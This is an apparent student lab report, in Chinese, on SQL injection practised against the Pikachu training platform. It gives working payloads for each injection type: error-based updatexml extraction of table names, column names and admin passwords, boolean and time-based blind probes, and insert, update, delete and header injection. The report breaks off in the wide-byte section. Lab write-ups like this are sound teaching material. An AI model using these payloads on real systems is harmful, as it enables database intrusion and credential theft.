web安全
实验报告
实验三 |
SQL注入 |
学生姓名 |
倪文锴 |
年级 |
2017级 |
区队 |
实验班 |
指导教师 |
高见
|
概 述
SQL注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄漏的一种漏洞。
比如我们期望用户输入整数的id,但是用户输入了上图中下面的语句,这是条能被正常执行的SQL语句,导致表中的数据都会输出。
1.2SQL注入攻击流程
第一步:注入点探测
- 自动方式:使用web漏洞扫描工具,自动进行注入点发现
- 手动方式:手工构造SQL注入测试语句进行注入点发现
第二步:信息获取
通过注入点取得期望得到的数据
- 1.环境信息:数据库类型,数据库版本,操作系统版本,用户信息等
- 2.数据库信息:数据库蜜罐,数据库表,表字段,字段内容等(加密内容破解)
第三步:获取权限
- 获取操作系统权限:通过数据库执行shell,上传木马
1.3注入点类型
分类根据:输入的变量传入到SQL语句是以什么类型拼接的
- 数字型:user_id=$id
- 字符型:user_id=‘$id‘
- 搜索型:text LIKE ‘%{$_GET[‘search‘]}%‘"
数字型注入(POST)
这里可以根据我们选择的 userid 返回用户名和邮箱
测试注入时,我们需要思考提交的参数后台是如何操作的。我们提交了一个d,返回了用户名和邮箱。
正常来说,我们的数据是放在数据库里的,当我们提交了这个id的,后台会带这个参数到数据库里查询。
因为是用POST语句取得我们传递的参数值,传递给一个变量,再到数据库查询。所以我们猜测后台的查询语句大概是下面这样的
$id=$_POST[‘id‘] select 字段1,字段2 from 表名 where id=1$id
BurpSuite 抓包来测试一下,把传入的参数改成下面的语句,看看返回的结果
1 or 1=1
我们把 BurpSuite 中拦截的包发到 Repeater 中,修改id参数的值,查看响应结果。可以看到取出了数据库中全部数据,说明存在数字型注入漏洞。
字符型注入(GET)
我们输入“James”,可以得到下面的输出
输入不存在的用户时,会提示用户不存在。另外这是一个 GET 请求,我们传递的参数会出现都 URL 中
因为这里输入的查询用户名是字符串,所以在查询语句中需要有单引号。猜想后台的SQL查询语句为
$name=$_GET[‘username‘] select 字段1,字段2 from 表名 where username=‘$name‘
我们需要构造闭合,闭合后台查询语句中的第一个单引号,然后注释掉第二个单引号,构造的payload如下
James ‘or‘1‘=‘1‘#
MySQL中有3种注释:
① #
② -- (最后面有个空格)
③ /**/,内联注释,这个可以在SQL语句中间使用。select * from /*sqli*/ users;
这时候我们也能看到这个表中的全部信息了
搜索型注入
先随意输入几个
这个功能运行我们输入用户名的一部分来查找,可以猜想后台使用了数据库中的搜索这个逻辑,比如用了 LIKE 。比如
select 字段1,字段2 from 表名 where username like ‘%$name%‘
我们就可以构造对应的闭合,闭合前面的 单引号 和 百分号,注释后面的百分号和单引号。构造的payload如下
L%‘or‘1‘=‘1‘#
XX型注入
后台存在各种方式拼接我们的SQL语句,所以我们需要尝试构造各种各样的闭合。比如在这里后台就是用括号的方式拼接SQL查询语句的
构造的payload如下
James‘) or 1=1#
insert/update/delete注入
在这3种情况中,我们不能使用 union 去做联合查询,因为这不是查询,而是操作。
基于函数报错注入(updatexml)
常用的报错函数:updatexml()、extractvalue()、floor()
基于函数报错的信息获取(select / insert / update / delete)
技巧思路:
- 在 MySQL 中使用一些指定的函数来制造报错,从报错信息中获取设定的信息
- select / insert /update / delete 都可以使用报错来获取信息
背景条件:
- 后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端
三个常用函数
- updatexml(): MySQL 对 XML 文档数据进行查询和修改的 XPATH 函数
- extractvalue():MySQL 对 XML 文档数据进行查询的 XPATH 函数
- floor():MySQL中用来取整的函数
updatexml()
updatexml()函数作用:改变(查找并替换)XML 文档中符合条件的节点的值
语法:UPDATEXML (XML_document, XPath_string, new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。不过这里用不到。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
- Xpath语法:https://www.cnblogs.com/Loofah/archive/2012/05/10/2494036.html
XPath 定位必须是有效的,否则会发生错误
我们在 pikachu 平台上的字符型注入中实验,我们利用报错来获取信息,比如下面这条语句
‘ and updatexml(1, version(), 0)#
我们传入 updatexml 中的三个参数都是错误的,中间那个值可以用表达式写入。执行后会得到类似下面的错误
我们需要构造一个新的 payload,把报错信息和我们查询的信息一起输出,构造下面的 payload如下,0x7e是符号 “~” 的16进制
‘ and updatexml(1, concat(0x7e, version()), 0)#
这时候就会打印出我们 MySQL 的数据版本了。那我们把 version() 换成 database() 就能取得数据库的名称了。
‘ and updatexml(1, concat(0x7e, database()), 0)#
知道了数据名我们继续查询表名
‘ and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=‘pikachu‘)), 0)#
但是此时会报错,返回的数据多于 1 行(不止一个表) ,只能显示 1 行报错信息
我们在刚刚的 payload 后面用 limit 关键字,限制取回的结果
‘ and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=‘pikachu‘ limit 0,1)), 0)#
上面返回了查询结果中的第一个表名,如果要查询第二个表名,我们可以把 limit 语句换成 limit 1,1
limit 后的第一个数据是起始位置,第二个数字是取出的数据条数
以此类推,取出所有的表名。有了表的名称后我们就去获取字段
‘ and updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name=‘users‘ limit 0,1)), 0)#
以此类推,取出所有的列名。我们就能去取数据了
‘ and updatexml(1, concat(0x7e, (select username from users limit 0,1)), 0)#
然后根据得到的用户名,去查询password
‘ and updatexml(1, concat(0x7e, (select password from users where username = ‘admin‘ limit 0,1)), 0)#
insert/update注入
在这里,注册页面存在注入漏洞
所谓 insert 注入是指我们前端注册的信息,后台会通过 insert 这个操作插入到数据库中。如果后台没对我们的输入做防 SQL 注入处理,我们就能在注册时通过拼接 SQL 注入。
我们就填必填的两项,用户那里输入单引号,密码随便输入,页面会有报错信息,说明存在SQL注入漏洞
这种情况下,我们知道后台使用的是 insert 语句,我们一般可以通过 or 进行闭合。后台的 SQL 语句可能是下面这个样子
insert into member(username,pw,sex,phonenum,email,adderss) values(‘kevin‘, 123456, 1, 2, 3, 4);
构造下面的 payload,基于 insert 下的报错来进行注入
kevin‘ or updatexml(1, concat(0x7e,database()), 0) or ‘
这时候报错的信息就能前一个例子是一样的,后面的操作也是这样
下面看看 update 注入,比如我们更改密码的时候,后台就是通过 update 去操作的。
登录账号:kevin,123456
我们在这里填入我们刚刚构造的 payload,然后提交也能得到相应的结果
delete注入
这里有一个留言板,点删除可以把对应的留言删掉
我们点删除并用 BurpSuite 抓包,实际上就是传递了一个留言的 id,后台根据这个 id 去删除留言
后台可能的 SQL 语句如下
delete from message where id=100
我们发送到 Repeater 中继续进行实验,由于参数的值是数字型,所以后台可能存在数字型注入漏洞,构造payload如下(没有单引号)
100 or updatexml(1, concat(0x7e,database()), 0)
把 payload 经过 URL编码后替换 BurpSuite 中 id 的值
我们也能得到同样的结果
http header注入
有些时候,后台开发人员为了验证客户端头信息(比如cookie验证)
或者通过http header获取客户端的一些信息,比如useragent,accept字段等
会对客户端的http header信息进行获取并使用SQL进行处理,如果此时并没有足够的安全考虑
则可能会导致基于 http header 的 SQL 注入漏洞
登录账号:admin / 123456
构造
1‘ or updatexml(1, concat(0x7e, database()), 0) or ‘
盲注
在有些情况下,后台使用了错误屏蔽方法屏蔽了报错
此时无法根据报错信息来进行注入的判断
这种情况下的注入,称为“盲注”
9.1盲注(based on boolean)
基于真假的盲注主要特征
- 没有报错信息
- 不管是正确的输入,还是错误的输入,都只有两种情况(可以看做 0 or 1)
- 在正确的输入下,后面跟 and 1=1 / and 1=2 进行判断
我们在皮卡丘平台一进行实验,输入下面的测试语句
kobe‘ and 1=1# kobe‘ and 1=2#
发现一条正确执行,一条显示用户名不存在,说明后台存在 SQL 注入漏洞
因为这里的输出只有 用户名存在 和 用户名不存在 两种输出,所以前面基于报错的方式在这不能用。
我们只能通过 真 或者 假 来获取数据,所以手工盲注是很麻烦的。
我们可以先用 length(database()) 判断 数据库名称的长度
kobe‘ and length(database())>5# 。。。 kobe‘ and length(database())=7#
再用 substr() 和 ascii() 判断数据库由哪些字母组成(可以用二分法)
kobe‘ and ascii(substr(database(), 1, 1)) > 113# kobe‘ and ascii(substr(database(), 1, 1)) > 105# 。。。 kobe‘ and ascii(substr(database(), 1, 1)) = 112#
不断重复,然后取得数据库名。再和 information_schema 和 length 猜测 表名 的长度,我们可以用下面的 SQL 语句替代上面的 database()
(select table_name from information_schema.tables where table_schema=database() limit 0,1)
先判断表名长度
kobe‘ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,100)) = 8#
然后猜解表名
kobe‘ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1)) > 113# 。。。 kobe‘ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1)) =104#
同样的方法去猜解列名、数据,就是麻烦,用工具会方便些
盲注(based on time)
基于真假的盲注可以看到回显的信息,正确 or 错误
基于时间的注入就什么都看不到了,我们通过特定的输入,判断后台执行的时间,从而确定注入点,比如用 sleep() 函数
在皮卡丘平台一,无论输入什么,前端都是显示 “I don‘t care who you are!”
我们按 F12 打开控制台,选到网络
然后我们输入下面的 payload 进行测试
kobe‘ and sleep(5)#
如果存在注入点,后端就会 sleep 5秒才会返回执行结果
看到上面的结果说明我们注入成功了,构造下面的 payload,用 database() 取得数据库的名称,再用 substr 取字符判断数据库名称的组成,如果猜解成功就会 sleep 5秒,否则没有任何动作
kobe‘ and if((substr(database(), 1, 1))=‘p‘, sleep(5), null)#
后面也跟真假注入是一样的了,替换 database() 就可,如
kobe‘ and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1))=‘h‘, sleep(5), null)#
宽字节注入
当我们输入有单引号时被转义为’,无法构造 SQL 语句的时候,可以尝试宽字节注入。
GBK编码中,反斜杠的编码是 “”,而 “